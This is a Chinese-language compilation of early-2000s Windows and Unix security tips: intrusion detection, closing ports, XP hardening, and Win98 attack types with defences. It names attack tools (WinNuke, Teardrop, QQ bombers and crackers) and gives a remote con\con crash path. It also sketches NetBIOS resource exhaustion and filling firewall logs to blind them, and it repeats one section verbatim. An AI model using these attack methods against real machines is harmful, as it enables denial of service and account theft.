5、pskill.exe---->杀掉某个进程，有时候在任务管理器中无法中止程序那就用这个工具来停止进程吧。
6、login.exe ---->列出当前都有那些用户登录在你的机器上，不要你在检测的同时，入侵者就在破坏：(
7、查看日志文件--->庞大的日志文件--->需要借助第三方软件来分析日志 记录了入侵者扫描的信息和合法用户的正确请求
Find “scirpts/..” C:\WINNT\system32\LogFiles\W3SVC1\ex010705.log --解码漏洞？？谁在扫描我？
8、查看 Web 目录下文件改动与否 留没有留 asp php 后门......查看存放日志文件的目录
DOS dir /a
GUI 查看显示所有文件和文件夹
技巧：查看文件的修改日期，我两个月没有更新站点了(好懒：)，怎么 Web 目录下有最近修改文件的日期？？奇怪吧？：)
＃＃＃＃＃＃＃＃＃＃＃＃＃＃＃＃＃＃＃＃＃＃＃＃＃＃＃＃＃＃＃＃＃＃＃＃＃＃＃
C:\WINNT\system32\LogFiles\W3SVC1>dir
dir
驱动器 C 中的卷是 system Server
卷的序列号是 F4EE-CE39
C:\WINNT\system32\LogFiles\W3SVC1 的目录

2001-07-05 02:43 1,339 ex010704.log
2001-07-05 23:54 52,208 ex010705.log
2001-07-07 22:59 0 ex010707.log
2001-07-08 22:45 0 ex010708.log
2001-07-10 08:00 587 ex010709.log
恩？奇怪？怎么没有 2001-07-06 那天的日志文件？？可疑......2001-07-07、2001-07-08 两天的日志文件大小为零，我得网站访问量怎么两天都是空？？没有那么惨吧：(好奇怪？！
＃＃＃＃＃＃＃＃＃＃＃＃＃＃＃＃＃＃＃＃＃＃＃＃＃＃＃＃＃＃＃＃＃＃＃＃＃＃＃
D:\win 2000>dir
dir
驱动器 D 中的卷是 新加卷
卷的序列号是 28F8-B814
D:\win 2000 的目录
2001-06-03 17:43 <DIR> .
2001-06-03 17:43 <DIR> ..
2001-06-03 17:43 <DIR> CLIENTS
2001-06-03 17:43 <DIR> BOOTDISK
2001-06-03 17:43 <DIR> I386
2001-06-03 17:46 <DIR> PRINTERS
2001-06-03 17:46 <DIR> SETUPTXT
2001-06-03 17:46 <DIR> SUPPORT
2001-06-03 17:46 <DIR> VALUEADD
2000-01-10 20:00 45 AUTORUN.INF
2000-01-10 20:00 304,624 BOOTFONT.BIN
2000-01-10 20:00 5 CDROM_IS.5
2000-01-10 20:00 5 CDROM_NT.5
2000-01-10 20:00 12,354 READ1ST.TXT
2000-01-10 20:00 465,408 README.DOC
2000-01-10 20:00 267,536 SETUP.EXE
2001-06-04 17:37 <DIR> SP1
2001-06-27 16:03 <DIR> sp2
2001-07-06 00:05 <DIR> system --->从来没有修改或安装什么文件程序啊 什么时候多了system目录？这个是我安装 win 2000 的安装文件。 日期怎么不对 2001-07-06，日志文件也没有 2001-07-06 的这一天的记录，可疑.......
7 个文件 1,049,977 字节
12 个目录 10,933,551,104 可用字节
＃＃＃＃＃＃＃＃＃＃＃＃＃＃＃＃＃＃＃＃＃＃＃＃＃＃＃＃＃＃＃＃＃＃＃＃＃＃＃
总的来说入侵检测包括：
一、基于80端口入侵的检测 CGI IIS 程序漏洞......
二、基于安全日志的检测 工作量庞大
三、文件访问日志与关键文件保护
四、进程监控 后门什么的
五、注册表校验 木马
六、端口监控 21 23 3389 ...
七、用户 我觉得这个很重要，因为入侵者进入系统以后，为了方便以后的“工作”通常会加一个用户或者激活guest帐号提升为管理员的
/************** 借助第三方软件协助分析 IDS Firewall .....***********************/
对 unix & linux 入侵检测说几句
有必要先用扫描器扫描一下系统，搜集一下资料 CGI RPC TELNETD FTP ......本地远程溢出漏洞......
1、检查 suid sgid 程序
find / -user root -perm -4000 -print --常用
find / -group kmem -perm -2000 -print
2、查看系统的二进制文件是否被更改
如：ls su telnet netstat ifconfig find du df sync login......
建议做入侵检测时候，从一个干净的系统 copy 过来这些文件 来做检测
使用 MD5 Tripwire 校验工具检测
3、检查 /etc/passwd 文件
有没有新增的用户、没有口令的帐号、uid等于0的帐号......
4、检查有没有网络监听程序在运行
netstat -an
5、检查系统非正常的隐藏文件
".." ".. " "..^G"
find / -name ".. " -print -xdev
find / -name ".*" -print -xdev | cat -v
6、在系统正常运作的情况下，系统管理员要经常使用下列命令(必要的话，系统管理员可以改变 path，或者修改二进制文件名称，放到一个只有自己知道的目录下)在保证二进制文件没有被篡改的情况下用绝对路径
/bin/who
/bin/w
/bin/last
/bin/lastcomm
/bin/netstat
/bin/snmpnetstat
.
.
.
shell 的历史文件 如：.history 、.rchist、.bash_history......
7、日志
8、........
因为 unix&vlinux系列源代码是开放的，所以如果入侵者装上了内核后门 #!@$%!#@%$#@^$&
强烈建议备份您机器上重要文件，重装系统，打好补丁，迎接入侵者^_^
/******************借助第三方软件协助分析 IDS Firewall .....***********************/
入侵检测介绍就到这里，在实际运用中，系统管理员对基础知识掌握的情况直接关系到他的安全敏感度，只有身经百战而又知识丰富、仔细小心的系统管理员才能从一点点的蛛丝马迹中发现入侵者的影子，未雨绸缪，扼杀入侵的行动。 --shotgun的话：）


关闭你的端口

1、 如何理解并关闭135端口
对于135端口开放的问题，可以在你的防火墙上，增加一条规则：拒绝所有的这类进入的UDP包，目的端口是135，源端口是7，19，或者135，这样可以保护内部的系统，防止来自外部的攻击。大多数防火墙或者包过滤器已经设置了很多严格的规则，已覆盖了这条过滤规则，但任需注意：有一些NT的应用程序，它们依靠UDP135端口进行合法的通讯，而打开你135的端口与NT的RPC服务进行通讯。如果真是这样，你一定要在那些原始地址的系统上(需要135口通讯)，实施上述的规则，指定来自这些系统的通讯可以通过防火墙，或者，可以被攻击检测系统所忽略，以便维持那些应用程序的正常连接。

2、如何理解并关闭139端口（NetBIOS提供服务的tcp端口）
对于WIN2000 ：
选中网络邻居--》右键--》本地连接--》INTERNET协议（TCP/IP）--》属性--》高级--》选项--》TCP/IP筛选--》在"只允许"中填入除了137，138，139只外的端口。如果你在局域网中，会影响局域网的使用
当然还有最方便的方法：
选择一条天网的空规则，数据包方向选接收；对方IP地址选任何；协议TCP；本地端口139到139；对方端口0到0；标志位在SYN标志上打勾；动作拦截。
然后把这条规则勾上让它生效，保存即可。

最后谈谈这个后门的端口，137，138是udp端口。当通过网络邻居传输文件的时候就是通过这个2个端口.139端口是netbios提供服务的tcp端口。
在windows9x下可以完全关闭这几个端口。完全禁止了netbios服务。方式是在控制面板-网络-只保留tcp/ip协议和拨号网络适配器。但是这样windows会提示你网络不完整。但是还可以继续使用。在tcp/ip协议里的netbios一项不要选择绑定到tcp/ip协议。这时候你的netbios服务完全停止了。你的机器也没有137，138和139端口了。这样追捕也搞不清你到底是9x还是unix了。
windowsNT下可以封锁这些端口。封锁不必要的TCP和UDP端口可以通过在网络控制面板的IP地址对话框中进行配置来完成。 点击高级按钮激活高级IP地址对话框， 然后点击Enable Secury 对话框，然后点击配置按钮激活TCP/IP安全对话框， 那里列出了那些TCP和UDP端口被允许了。但是好像不能识别拨号网络适配器。
以上的方法都是给不需要连接入局域网的计算机的配置方法。如果你是一台拨号上网的单机那么完全可以禁止netbios服务。但是如果你需要接入局域网的话。那你只能注意加密你的共享资源了。否则全互联网的人都可以通过这个windows的"后门"到你的计算机里了：）
关闭139口听方法是在“网络和拨号连接”中“本地连接”中选取“Internet协议(TCP/IP)”属性，进入“高级TCP/IP设置”“WINS设置”里面有一项“禁用TCP/IP的NETBIOS”，打勾就关闭了139端口。

关闭445端口的方法有很多，但是我比较推荐以下这种方法：
修改注册表，添加一个键值
Hive: HKEY_LOCAL_MACHINE
Key: System\Controlset\Services\NetBT\Parameters
Name: SMBDeviceEnabled
Type: REG_DWORD
value: 0
修改完后重启机器，运行“netstat -an”，你将会发现你的445端口已经不再Listening了。


操作系统安全防范简述:Win XP篇
Windows XP以其稳定性、强大的个人和网络功能为大家所推崇，而它的“NT内核”，让我们不得不加强安全防护。
    1． 常规的安全防护
    所谓“常规的安全防护”即施行同Windows 98一样的安装防病毒软件、升级系统、禁止Ping三种安全方式。要强调的是Windows XP和它的前辈Windows 2000一样，漏洞层出不穷，对于系统的升级不能像对Windows 98般马虎，除了要安装Microsoft针对“冲击波”的漏洞补丁外，建议将Windows XP升级为最新的Service Pack 1（升级后会提高资源占有，不过安全性、稳定性有所提高）。
    2． 禁止远程协助，屏蔽闲置的端口
    在Windows XP上有一项名为“远程协助”的功能，它允许用户在使用计算机发生困难时，向MSN上的好友发出远程协助邀请，来帮助自己解决问题。
    而这个“远程协助”功能正是“冲击波”病毒所要攻击的RPC（Remote Procedure Call）服务在Windows XP上的表现形式。建议用户不要使用该功能，使用前也应该安装Microsoft提供的RPC漏洞工具和“冲击波”免疫程序。禁止“远程协助”的方法是：打开系统属性对话框（右键“我的电脑”、“属性”），在“远程”项里去掉“允许从这台计算机发送远程协助邀请”前面的“√”。
    使用系统自带的“TCP/IP筛选服务”就能够限制端口。方法如下：在“网络连接”上单击右键，选择“属性”，打开“网络连接属性”对话框，在“常规”项里选中里面的“Internet协议（TCP/IP）”然后单击下面的[属性]按钮，在“Internet协议（TCP/IP）属性”窗口里，单击下面的[高级]按钮，在弹出的“高级TCP/IP设置”窗口里选择“选项”项，再单击下面的[属性]按钮，最后弹出“TCP/IP筛选”窗口，通过窗口里的“只允许”单选框，分别添加“TCP”、“UDP”、“IP”等网络协议允许的端口（如图3），未提供各种服务的情况，可以屏蔽掉所有的端口。这是最佳的安全防范形式。

3． 禁止终端服务远程控制
    “终端服务”是Windows XP在Windows 2000系统（Windows 2000利用此服务实现远程的服务器托管）上遗留下来的一种服务形式。用户利用终端可以实现远程控制。“终端服务”和“远程协助”是有一定区别的，虽然都实现的是远程控制，终端服务更注重用户的登录管理权限，它的每次连接都需要当前系统的一个具体登录ID，且相互隔离，“终端服务”独立于当前计算机用户的邀请，可以独立、自由登录远程计算机。
    在Windows XP系统下，“终端服务”是被默认打开的，（Windows 2000系统需要安装相应的组件，才可以开启和使用终端服务）也就是说，如果有人知道你计算机上的一个用户登录ID，并且知道计算机的IP，它就可以完全控制你的计算机。
    在Windows XP系统里关闭“终端服务”的方法如下：右键选择“我的电脑”、“属性”，选择“远程”项，去掉“允许用户远程连接到这台计算机”前面的“√”即可。
  4．关闭Messenger服务
    Messenger服务是Microsoft集成在Windows XP系统里的一个通讯组件，它默认情况下也是被打开的。利用它发送信息时，只要知道对方的IP，然后输入文字，对方的桌面上就会弹出相应的文字信息窗口，且在未关闭掉Messenger服务的情况下强行接受。
    很多用户不知道怎么关闭它，而饱受信息的骚扰。其实方法很简单，进入“控制面板”，选择“管理工具”，启动里面的“服务”项，然后在Messenger项上单击右键，选择“停止”即可（如图4）。

5． 防范IPC默认共享
    Windows XP在默认安装后允许任何用户通过空用户连接（IPC＄）得到系统所有账号和共享列表，这本来是为了方便局域网用户共享资源和文件的，但是任何一个远程用户都可以利用这个空的连接得到你的用户列表。黑客就利用这项功能，查找系统的用户列表，并使用一些字典工具，对系统进行攻击。这就是网上较流行的IPC攻击。
    要防范IPC攻击就应该从系统的默认配置下手，可以通过修改注册表弥补漏洞：
    第一步：将HKEY_LOCAL _MACHINE\SYSTEM\CurrentControlSet\Control\LSA的RestrictAnonymous 项设置为“1”，就能禁止空用户连接。
    第二步：打开注册表的HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet \Services\ LanmanServer\Parameters 项。
    对于服务器，添加键值“AutoShareServer”，类型为“REG_DWORD”，值为“0”。
    对于客户机，添加键值“AutoShareWks”，类型为“REG_DWORD”，值为“0”。
    6． 合理管理Administrator
    Windows 2000/XP系统，系统安装后都会默认创建一个Administrator用户，它拥有计算机的最高管理权限。而有的用户在安装时，根本没有给Administrator用户设置密码。黑客就利用这一点，使用高级用户登录对方计算机。因此，个人用户应该妥善保管“Administrator”用户信息，Windows 2000登录时，要求输入Administrator用户的登录密码，而Windows XP在正常启动后，是看不到Administrator用户的，建议使用Windows XP的用户进入安全模式，再在“控制面板”的“用户账户”项里为Administrator用户添加密码，或者将其删除掉，以免留下隐患。
    针对个人操作系统的安全防护，笔者就介绍Windows 98与Windows XP两款，至于Windows 2000由于它有Professional和Server版本之分，两种版本的Windows 2000防护形式类似Windows XP与Windows 2003，这里就不分开来具体介绍了，下面来说说针对服务器使用的Windows 2003和Linux系统。


逝去的安全:Win98终极网络防范
一 对win98的简单说明
    由于98对网络的支持不完善，且默认没有什么网络服务启动，也就找不到什么可利用的漏洞，因此对98的攻击并不像对2000那样‘丰富多彩’。但即使这样，98的用户仍然不能高枕无忧，看看下面的各种攻击方法，你会觉得98并不是像想象的那样安全，我们仍需要多加防备。
    二 基于win98的攻击方法
    既然要讲防守，就要知道怎样进攻，只有搞清楚了各种攻击方法，我们才能对症下药，有的放矢。
    下面总结了一下常用的攻击方法，当然有些方法对别的操作系统也是适用的。
    1 蓝屏炸弹（IGMP，ICMP）
    2 木马攻击
    3 OICQ安全
    4 恶意代码
    5 共享密码检验漏洞
    6 ARP拒绝服务攻击
    7 IPX Ping 包拒绝服务漏洞
    8 NetBIOS缓存漏洞
    9 NetBIOS 空源主机名导致系统崩溃
    10 无效驱动器类型拒绝服务漏洞
    11 NetBIOS over TCP/IP 耗尽资源漏洞
    12 concon漏洞
三 攻击方法具体介绍及防范
    1 蓝屏炸弹
    *攻击原理：
    蓝屏攻击的对象一般是Microsoft的WINDOWS95/98操作系统，这种攻击实际上是利用WINDOWS操作系统的内核缺陷，采用大量的非法格式数据包发向被攻击的机器，使WINDOWS操作系统的网络层受到破坏，而引起蓝屏当机。
    蓝屏炸弹一般使用的是IGMP协议(Internet Group Management Protocol)，由于IGMP是一种类似ICMP(PING报文)的无连接协议,所以在向服务器连接时不需要指定连接的端口,只需要指定IP地址即可，由于WIN98不能很好的处理过大的IGMP数据包,很容易出现系统崩溃的情况,又因为WINDOWS95/98在崩溃的时候，通常是显示一个蓝色的屏幕，上面写着一些复杂的符号和数字，便形成了我们所说得蓝屏攻击。
    当然，现在的蓝屏炸弹不光只使用IGMP,还会使用ICMP进行攻击：它可向某一IP地址发送“OOB”(OUT OF BAND)数据，并攻击139端口(NETBIOS)，如果攻击者进行端口监听的话，还可攻击其它端口。当被攻击的电脑收到大量的“OOB"数据后，无法对数据进行处理，导致出现Internet连接中断或蓝屏幕死机等现象。
    *攻击工具：
    WINNUKE,SPING,TEARDROP等
    *攻击后果：
    导致Internet连接中断，windows蓝屏或死机。
    *解决办法：
    1）将NETBIOS（控制面板-网络）关闭，关闭NETBIOS还可以阻止别人访问你的共享资源；
    2）IGMP，ICMP关闭（两者可以用防火墙来屏蔽），关闭这些协议不会影响你使用INTERNET。关闭ICMP可以使陌生人对你的Ping无效（但不会影响你用ping命令去探测别人，除非对方也安装了防火墙，并且也关闭了ICMP），关闭TCP监听可以阻止木马服务端程序响应客户端软件的控制，并可防止端口扫描程序的扫描；
    3）安装防火墙，并进行配置，则基本上可以防范此类攻击；
    4) 下在相关补丁。
2 木马攻击
    *攻击原理：
    木马，即后门程序，它包括两个部分：服务端和控制端，当目标机器运行了服务端后，黑客就可以利用控制端来控制你的机器了。
    如果你中了木马，那么它有可能对你的电脑做以下事情：创建，移动，复制，上传，删除你的文件；管理共享，格式化硬盘；记录键盘并从中提取密码；查找隐藏密码并发送到指定邮箱；控制进程，远程关机，重起，锁定鼠标和热键；操作注册表，包括浏览，增删，复制主键；向被控方法送信息等。
    *感染方式：
    1）欺骗法：利用一切欺骗行为引诱你运行服务端
    2）捆绑法：与正常程序捆绑，让你无防备的运行服务端（比如与flash捆绑）
    3）改名法：更改木马的图标并将程序改名为*.jpg.exe或*.tex.exe形式，因为windows默认不显示文件后缀，让你以为不是可执行文件，从而运行。
    4）网页法：在网页中插入恶意代码
    *常见木马：
    国产的冰河、蓝色火焰、广外女生等，国外的软件有Back Orifice、NetBus等，（树大招风这个道理大家知道吧，由于这些木马太有名了，所以各大杀毒软件都能够查杀它们，但一些不知名的小木马，或个人写的木马程序，防火墙也许就无能为力了）
    *防范办法：
    1）不执行陌生，可疑的文件，必要时用杀毒软件查杀（但不要过于相信杀毒软件）
    2）对于捆绑程序，要注意文件大小，如果你发现600k的txt文件，那你应该小心了
    3）让windows显示文件后缀：文件夹选项-查看-把‘显示已知文件的扩展名’前的勾去掉
    4）不要随便观看可疑的网页（不过，谁也说不好哪个网页可疑）
    5）定期使用查毒软件或查杀木马软件检查系统，如Iparmor
    6）安装防火墙
    如果你确定你已经中了木马，你可以在网上寻找相应的清除方法加以清除，我在此不做过多介绍了。

3 OICQ安全
    虽然OICQ并不是WIN98系统的一部分，但98用户问题最多的可能就是关于OICQ了，而且一些木马也可能通过OICQ传到你的电脑，因此在次我们将讨论一下OICQ的安全防护。
    *攻击类型：
    1）获取信息
    攻击描述：受害者一般都是在公共场合（或多人登陆一台电脑）使用OICQ,倘若你选择了保存密码登陆，则别人可以轻而易举地登录到你的帐号下，这样你的密码、好友名单、聊天记录就毫无任何安全可言了，还有更高级的，就是利用一个叫做oicqreader的软件，只要选好oicq的安装路径，则oicq安装目录下的所有oicq帐号都在劫难逃，好友名单和聊天记录就都乖乖地展示在入侵者眼前。
    解决方法：不使用保存密码登陆；下线后删除以你号码命名的文件夹
    2）记录/破解密码
    攻击描述：破解可分为本地破解和远程破解，本地破解又可分为暴力破解和后台记录
    本地暴力破解：用破解软件对本地相应文件加进行破解，破解成功将直接获得密码
    本地后台记录：用密码记录软件或键盘记录软件对密码进行后台记录，并将密码保存到相应文件或发送到指定邮箱
    远程暴力破解：在联网的情况下对密码进行强行猜解，从而直接获得密码，但猜解速度与网络情况有关,老牌软件比如:ICQ Hack
    解决方法：设置一个安全，复杂的密码；公共场所下线后，删除以你号码命名的文件夹
    3）轰炸帐号
    攻击描述：简单地讲就是在极短的时间内发出大量的数据给某个oicq帐号，使之应接不暇，系统速度变慢直至下线或当机。
    此类攻击首先得知道他的ip地址和端口，以前大家都用相关的软件来查，比如冯志宏的oicqsniffer，第三只眼的xoicq等，但现在有了更简便的方法，就是使用能显示对方IP和端口的OICQ,比如珊瑚虫工作室的，很好用的。
    攻击软件有oicqbomb、oicqnuke、oicqspy 、oicqjoke等众多软件，而且都是傻瓜型，不会用都很难。由于此类攻击并不是利用什么漏洞，而是基于TCP/IP协议，发送大量数据，因此并不是很好防范。
    解决方法：使用代理服务器（可隐藏自己真实IP）；安装防火墙
    *以下为使用QQ的注意事项：
    一、没有申请“密码保护”功能和刚申请到号码之后的网友应该立刻申请密码保护http://www.tencent.com/service/；
    二、QQ的密码不要太简单，许多破QQ密码的工具，都是采用的穷举法。所以你的密码最好设为8位数以上，数字字母和特殊符号相结合；
    三、在网吧输入密码时不要让旁边的人看到，上完后把c:\program files\OICQ\中你的QQ号目录删除（shift+del）；
    三、密码要不定期地更换；
    五、安装防火墙（如天网）和防毒软件（如金山毒霸），提防别人对你的机器进行扫描、安装木马；
    六、使用最新版本的OICQ，将系统参数设置项打开，选择安全设置项，将高级安全设置中的拒绝旧版陌生人消息或拒绝旧版所有消息打上钩；
    七、个人资料上填写的E-mail和申请密码保护所用E-mail不要相同；
    八、OICQ密码、上网账号密码和信箱密码不要相同；
    九、如果同时拥有几个号码，又不经常上网。那么要在每个号码上都加上好友，防止腾讯回收号码；
    十、上网时谦虚谨慎，在聊天室里不要恶意辱骂、中伤网友，要明白一山还有一山高的道理。
4 恶意代码
    *攻击原理：恶意网页中包含有恶意代码，利用浏览器或者其他已知系统弱点/漏洞，对访问者的电脑进行非法设置和恶意攻击。
    *攻击类型：
    1修改注册表
    利用IE的文本漏洞通过编辑的脚本程序修改注册表，如修改IE的起始主页，工具栏，默认的搜索引擎，IE标题栏，修改或禁止IE右键，定时弹出IE新窗口；禁止修改注册表；系统启动时弹出网页或对话框
    常用恢复工具：超级兔子魔法配置，优化大师，3721魔宝石，杀毒王自带的IE修复器等（建议初学者用工具修复）
    2无聊恶意网页
    这一类网页是利用编写JAVASCRIPT代码，比如弹出无数关不完的窗口，让CPU资源耗尽重新启动。
    防范方法：将JAVA禁用（但对个别正常网页稍有影响），升级IE到高版本
    3利用IE漏洞
    此类攻击方法是利用IE漏洞对用户进行攻击，由于WIN98用户IE版本都比较低，如果没有及时打补丁，将很容易受到此方法攻击。
    1）格式化硬盘
    2）执行.exe文件
    3）自动运行木马程序（利用IE的MIME头错误漏洞）
    4）泄露用户的信息（IE框架漏洞）
    解决方法：
    最简便安全的就是升级你的IE,并将它进行配置。
    以下是一些常用的防范恶意代码的方法：
    1）要避免中招，关键是不要轻易去一些自己并不了解的站点，特别是那些看上去美丽诱人的网址更不要贸然前往，否则吃亏的往往是你。
    2）运行IE，点击“工具→Internet选项→安全→Internet区域的安全级别，把安全极别由“中”改为“高”。
    3）由于这些网页往往是含有有害代码的ActiveX或Applet、Javascript的网页文件，因此在IE设置中将ActiveX插件和控件、Java脚本等全部禁止就可以避免中招。具体方法是：在IE窗口中点击“工具→Internet选项，在弹出的对话框中选择“安全”标签，再点击“自定义级别”按钮，就会弹出“安全设置”对话框，把其中所有ActiveX插件和控件以及Java相关全部选择“禁用”即可。
    不过，这样做在以后的网页浏览过程中可能会造成一些正常使用ActiveX的网站无法浏览。唉，有利就有弊，您还是自己看着办吧。
    4）对于Windows98用户，请打开C:\WINDOWS\JAVA\Packages\CVLV1NBB.ZIP，把其中的“ActiveXComponent.class”删掉；对于WindowsMe用户，请打开C:\WINDOWS\JAVA\PackagesNZVFPF1.ZIP，把其中的“ActiveXComponent.class”删掉。请放心，删除这个组件不会影响到你。
    5）安装网络防火墙，特别是安装了Norton2001后，进入该类网页就会报警提示有脚本写注册表，国产反病毒软件KVW3000也有此类功效，建议您也安装一个这样的软件。
    6）虽然经过一番辛苦的劳动修改回了标题和默认连接首页，但如果以后又不小心进入该站就又得麻烦一次。其实，你可以在IE中做一些设置以便永远不进该站点：
    打开IE，点击“工具”→ “Internet选项”→“内容”→“分级审查”，点“启用”按钮，会调出“分级审查”对话框，然后点击“许可站点”标签，输入不想去的网站网址，如输入：http://www.XXX.com，按“从不”按钮，再点击“确定”即大功告成！
    7）设置注册表相关值项，为注册表"加锁"
    （1）运行注册表编辑器regedit.exe；
    （2）在HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System下，增加名为DisableRegistryTools的DWORD值项，并将其值改为“1”，即可禁止使用注册表编辑器regedit.exe。
    如果你由于其它原因需要修改注册表，可用如下解锁方法：
    用记事本编辑一个任意名字的.reg文件，比如recover.reg，内容如下：
    REGEDIT4
    ；这里一定要空一行，否则将修改失败
    [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System]
    "DisableRegistryTools"=dword:00000000
    对于WIN 2000或XP，把 REGEDIT4 改为Windows Registry Editor Version 5.00即可
4 恶意代码
    *攻击原理：恶意网页中包含有恶意代码，利用浏览器或者其他已知系统弱点/漏洞，对访问者的电脑进行非法设置和恶意攻击。
    *攻击类型：
    1修改注册表
    利用IE的文本漏洞通过编辑的脚本程序修改注册表，如修改IE的起始主页，工具栏，默认的搜索引擎，IE标题栏，修改或禁止IE右键，定时弹出IE新窗口；禁止修改注册表；系统启动时弹出网页或对话框
    常用恢复工具：超级兔子魔法配置，优化大师，3721魔宝石，杀毒王自带的IE修复器等（建议初学者用工具修复）
    2无聊恶意网页
    这一类网页是利用编写JAVASCRIPT代码，比如弹出无数关不完的窗口，让CPU资源耗尽重新启动。
    防范方法：将JAVA禁用（但对个别正常网页稍有影响），升级IE到高版本
    3利用IE漏洞
    此类攻击方法是利用IE漏洞对用户进行攻击，由于WIN98用户IE版本都比较低，如果没有及时打补丁，将很容易受到此方法攻击。
    1）格式化硬盘
    2）执行.exe文件
    3）自动运行木马程序（利用IE的MIME头错误漏洞）
    4）泄露用户的信息（IE框架漏洞）
    解决方法：
    最简便安全的就是升级你的IE,并将它进行配置。
    以下是一些常用的防范恶意代码的方法：
    1）要避免中招，关键是不要轻易去一些自己并不了解的站点，特别是那些看上去美丽诱人的网址更不要贸然前往，否则吃亏的往往是你。
    2）运行IE，点击“工具→Internet选项→安全→Internet区域的安全级别，把安全极别由“中”改为“高”。
    3）由于这些网页往往是含有有害代码的ActiveX或Applet、Javascript的网页文件，因此在IE设置中将ActiveX插件和控件、Java脚本等全部禁止就可以避免中招。具体方法是：在IE窗口中点击“工具→Internet选项，在弹出的对话框中选择“安全”标签，再点击“自定义级别”按钮，就会弹出“安全设置”对话框，把其中所有ActiveX插件和控件以及Java相关全部选择“禁用”即可。
    不过，这样做在以后的网页浏览过程中可能会造成一些正常使用ActiveX的网站无法浏览。唉，有利就有弊，您还是自己看着办吧。
    4）对于Windows98用户，请打开C:\WINDOWS\JAVA\Packages\CVLV1NBB.ZIP，把其中的“ActiveXComponent.class”删掉；对于WindowsMe用户，请打开C:\WINDOWS\JAVA\PackagesNZVFPF1.ZIP，把其中的“ActiveXComponent.class”删掉。请放心，删除这个组件不会影响到你。
    5）安装网络防火墙，特别是安装了Norton2001后，进入该类网页就会报警提示有脚本写注册表，国产反病毒软件KVW3000也有此类功效，建议您也安装一个这样的软件。
    6）虽然经过一番辛苦的劳动修改回了标题和默认连接首页，但如果以后又不小心进入该站就又得麻烦一次。其实，你可以在IE中做一些设置以便永远不进该站点：
    打开IE，点击“工具”→ “Internet选项”→“内容”→“分级审查”，点“启用”按钮，会调出“分级审查”对话框，然后点击“许可站点”标签，输入不想去的网站网址，如输入：http://www.XXX.com，按“从不”按钮，再点击“确定”即大功告成！
    7）设置注册表相关值项，为注册表"加锁"
    （1）运行注册表编辑器regedit.exe；
    （2）在HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System下，增加名为DisableRegistryTools的DWORD值项，并将其值改为“1”，即可禁止使用注册表编辑器regedit.exe。
    如果你由于其它原因需要修改注册表，可用如下解锁方法：
    用记事本编辑一个任意名字的.reg文件，比如recover.reg，内容如下：
    REGEDIT4
    ；这里一定要空一行，否则将修改失败
    [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System]
    "DisableRegistryTools"=dword:00000000
    对于WIN 2000或XP，把 REGEDIT4 改为Windows Registry Editor Version 5.00即可

9 NetBIOS 空源主机名导致系统崩溃
    *攻击原理：
    当Windows 95/98收到一个NetBIOS会话的包，这个包中源主机名被设置成NULL,那么将导致发生不可预料的错误：系统崩溃，蓝屏，重起动，死锁或者丢失网络连接等等。
    *攻击程序见：netbios空原主机名.txt
    10 无效驱动器类型拒绝服务漏洞
    *攻击原理：如果一个MicrosoftWindows9X客户端连接到一个文件／打印共享服务器时，服务器返回一个错误驱动器类型，那么将导致客户端崩溃，必须重新启动来恢复正常正常功能。
    下列驱动器类型是Windows9X能识别的：
    1)驱动器号：
    2)LPTx:
    3)COMMx
    4)IPC
    返回给客户端的所有其他的驱动器类型会引起拒绝服务。
    11 NetBIOS over TCP/IP 耗尽资源漏洞
    *攻击原理：
    微软的执行NetBIOS可能由于一个远程开发漏洞而导致拒绝服务攻击。攻击者能够通过连接NBT端口而促使系统耗尽网络资源并停止工作。 攻击可通过如下方式来进行：初始化许多连接，然后关闭它们，让目标机器上的TCP管套（socket）处于FINWAIT_1状态。尽管这些管套最终将超时并被释放，但攻击者可以持续地发送更多请求，初始化并关闭新的连接，耗尽任何空闲的网络资源。结果将导致NetBIOS拒绝正常的服务，直到攻击停止。
    微软在NT 4.0 sp6中发布了一个补丁来修补该漏洞。 简单说来，DDOS攻击基本是无法解决的，我特别喜欢，从SYN FLOOD理论上来说只要是有限带宽的服务都会被攻击到拒绝服务，服务器可能只是拒绝服务，而一般的PC可能就是系统资源耗尽了。而且，大量的DOS攻击可以造成防火墙大量日志，甚至日志满或者日志爆满掉。天网据说是6万记录即满，而6万日志，可以很快就搞定，只要知道天网过滤哪些东西就攻击哪些东西。呵呵，这就是强行突破FIREWALL或者IDS的前奏。
    *解决方法： 微软已经针对此漏洞开发了补丁程序，下载地址：
    http://www.microsoft.com/Downloads/Release.asp?ReleaseID=25114
    12 concon漏洞
    *攻击原理：
    Win9X中的一个很老的漏洞了,在Win9X中有三个设备驱动程序,CON:输入及输出设备驱动程序;NUL:空设备驱动程序;AUX:辅助设备驱动程序,这三个程序只要被运行，就会引起系统的死机。如运行C:\CON\CON或C:\AUX\AUX等。严重的是此漏洞可以通过资源共享来远程执行,如运行\192.168.0.2\C\CON\CON(其中\192.168.0. 2为对方的IP，C为对方的共享盘符)。
    解决办法:
    1)将系统升级至WinMe及以上版本;或下载安装补丁程序 conconfix并添加到“启动”组中
    2)安装网络防火墙,设置不共享。
    四 总结一下
    虽然说win98的网络功能不是很强大，但从安全性来讲，这可以算是一款比较安全的操作系统（当然，这与其提供了较少的服务有关）了，只要大家正确配置，经常检查一下系统，并安装好第三方软件（包括：防火墙，杀毒软件，网页防火墙，优化大师，超级兔子魔法配置，木马查杀软件等），我想，你的电脑应该是安全的；）


妙用windows类标识符
每个公民都有自己的身份证和身份证号。同样，Windows中的每一个系统级应用程序（如“我的电脑”、

Internet Explorer等）也都有惟一的类标识符与之相对应，大部分注册过的后缀名也有自己的文件标识

符。有些朋友不禁要问：这些文件标识符究竟有什么用呢？其实，理解文件标识符，不仅能让我们快速进

行系统优化，还能轻松实现一些人无我有的个性化设置，心动了吗？那么就请随我一起来探索文件标识符

吧！
    实例：巧用易容术 隐藏文件夹

    1.让文件夹摇身变成WAV文件

    新建一个文件夹，把要隐藏的文件放入该文件夹中，然后将文件夹重命名为：yourname.wav.

{00020C01-0000-0000-C000-000000000046}，这样你会看到该文件夹的图标变成了WAV文件的图标，名称

是yourname.wav。双击它，执行的不是进入文件夹，而是启动“媒体播放器”，文件夹仿佛变成了声音文

件——但却提示打不开。别人一定会以为是受损的声音文件。要想打开它，可直接选中并右击该文件（其

实是文件夹，实在是太像文件了），选择“打开”即可。
    2.把文件夹变成“网上邻居”

